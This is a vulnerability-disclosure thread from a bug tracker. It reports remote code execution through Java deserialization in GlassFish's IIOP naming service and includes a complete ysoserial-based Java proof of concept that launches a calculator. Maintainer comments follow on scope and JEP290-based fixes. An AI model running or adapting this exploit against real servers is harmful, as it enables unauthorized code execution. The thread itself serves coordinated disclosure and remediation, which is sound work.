Community
Participate
Working Groups
GlassFish Server iiop protocal default listened on 3700 port, and com.sun.enterprise.naming.impl.SerialContextProvider were exported, with method's param unserializable will lead to remote code execute I test this vulnerability on GlassFish 5.1 & GlassFish 5.0.1 For simplicity, add commons-collections3.1 or other vulnerability jar to path 'glassfish/lib' or 'glassfish/domains/domain*/lib' or 'glassfish/domains/domain*/lib/ext', then use ysoserial project to write poc I will give attack local service poc, for remote attck need some other tricks please credit me as orich1 of CUIT D0g3 Secure Team -------------------------poc package ysoserial.exploit; import com.sun.corba.ee.impl.misc.ClassInfoCache; import com.sun.corba.ee.impl.util.RepositoryId; import com.sun.corba.ee.spi.presentation.rmi.PresentationManager; import com.sun.corba.ee.spi.presentation.rmi.StubAdapter; import com.sun.enterprise.naming.impl.SerialContextProvider; import org.omg.CORBA.ORB; import org.omg.CORBA.portable.Delegate; import org.omg.CosNaming.NameComponent; import org.omg.CosNaming.NamingContext; import org.omg.CosNaming.NamingContextHelper; import org.omg.CosNaming._NamingContextExtStub; import ysoserial.payloads.ObjectPayload; import java.io.Externalizable; import java.io.Serializable; import java.lang.reflect.Field; import java.rmi.Remote; import java.util.Properties; public class GlassfishIIOP { public static void main(String[] args) throws Exception{ String portString = "3700"; String hostString = "192.168.204.134"; Properties props = new Properties(); // init corba props.put("org.omg.CORBA.ORBInitialPort", portString); props.put("org.omg.CORBA.ORBInitialHost", hostString); ORB orb = ORB.init(args, props); // got NameService org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContext nctx = NamingContextHelper.narrow(objRef); NameComponent[] path = { new NameComponent("SerialContextProvider", "") }; org.omg.CORBA.Object obj = nctx.resolve(path) ; SerialContextProvider result = (SerialContextProvider) GlassfishIIOP.getDynamicStub(obj, SerialContextProvider.class); // result.list(); // java.lang.Object exp = ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "open /Applications/Calculator.app");; java.lang.Object exp = ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "gnome-calculator"); result.rebind("test", exp); } public static Object getDynamicStub(Object narrowFrom, Class narrowTo){ Object result = null; if (narrowFrom == null) { return null; } else if (narrowTo == null) { throw new NullPointerException("invalid argument"); } else { try { if (narrowTo.isAssignableFrom(narrowFrom.getClass())) { return narrowFrom; } else if (ClassInfoCache.get(narrowTo).isInterface() && narrowTo != Serializable.class && narrowTo != Externalizable.class) { org.omg.CORBA.Object narrowObj = (org.omg.CORBA.Object)narrowFrom; String id = RepositoryId.createForAnyType(narrowTo); if (narrowObj._is_a(id)) { return GlassfishIIOP.loadStub(narrowObj, narrowTo); } else { throw new ClassCastException("Object is not of remote type " + narrowTo.getName()); } } else { throw new ClassCastException("Class " + narrowTo.getName() + " is not a valid remote interface"); } } catch (Exception var6) { ClassCastException cce = new ClassCastException(); cce.initCause(var6); throw cce; } } } public static Remote loadStub(org.omg.CORBA.Object narrowFrom, Class narrowTo) { Remote result = null; try { String codebase = null; Delegate delegate = null; try { delegate = StubAdapter.getDelegate(narrowFrom); codebase = ((org.omg.CORBA_2_3.portable.Delegate)delegate).get_codebase(narrowFrom); } catch (ClassCastException var8) { var8.printStackTrace(); } ORB orb = delegate.orb(narrowFrom); PresentationManager.StubFactoryFactory sff = null; if (orb instanceof com.sun.corba.ee.spi.orb.ORB) { sff = com.sun.corba.ee.spi.orb.ORB.getStubFactoryFactory(); } else { PresentationManager pm = com.sun.corba.ee.spi.orb.ORB.getPresentationManager(); // got DynamicStubFactory sff = pm.getDynamicStubFactoryFactory(); } PresentationManager.StubFactory sf = sff.createStubFactory(narrowTo.getName(), false, codebase, narrowTo, narrowTo.getClassLoader()); result = (Remote)sf.makeStub(); StubAdapter.setDelegate(result, StubAdapter.getDelegate(narrowFrom)); } catch (Exception var9) { var9.printStackTrace(); } return result; } } -------------------------
I've added the Eclipse Glassfish project leads and have marked this bug "committers-only" (i.e., only visible to committers). Project leads, there is help for handling vulnerabilities in handbook [1]. [1] https://www.eclipse.org/projects/handbook/#vulnerability
I assume this bug needs a vulnerable jar on the server classpath e.g. Commons Collections which as AFAIK is not the default? We will take a look.
(In reply to Steve Millidge from comment #2) > I assume this bug needs a vulnerable jar on the server classpath e.g. > Commons Collections which as AFAIK is not the default? > We will take a look. Yes, Commons Collections is not the default. When glassfish is installed by default, it will only have a limited impact, because there are a certain number of jars that are loaded into the classloader, but users may add vulnerable jars themselves when using glassfish.
Thanks for clarifying the scope of the issue on a vanilla install of the server. We are investigating and working on a fix.
I think this should be moved to the Orb project which is upstream from GlassFish for fixing.
Not yet, at least. There are a few possible ways to fix it: One involves the application classloader. If each application has its own, that can restrict the classes which could be deserialized, even if those classes are present in the server. The problematic classes tend not to be used by applications directly. Another possibility is a blacklist of the known problem classes (that is, those which could start independent processing). Of course, that's a game of whack-a-mole, with hackers finding more and more classes that could be on the server. That blacklist would need to be updated for the server, but the ORB would need to support the JEP290 blacklist mechanism to recognize it. So I'd recommend adding JEP290 support to the ORB, and also having Glassfish warn, or warn and halt, if started on a JDK that doesn't implement JEP290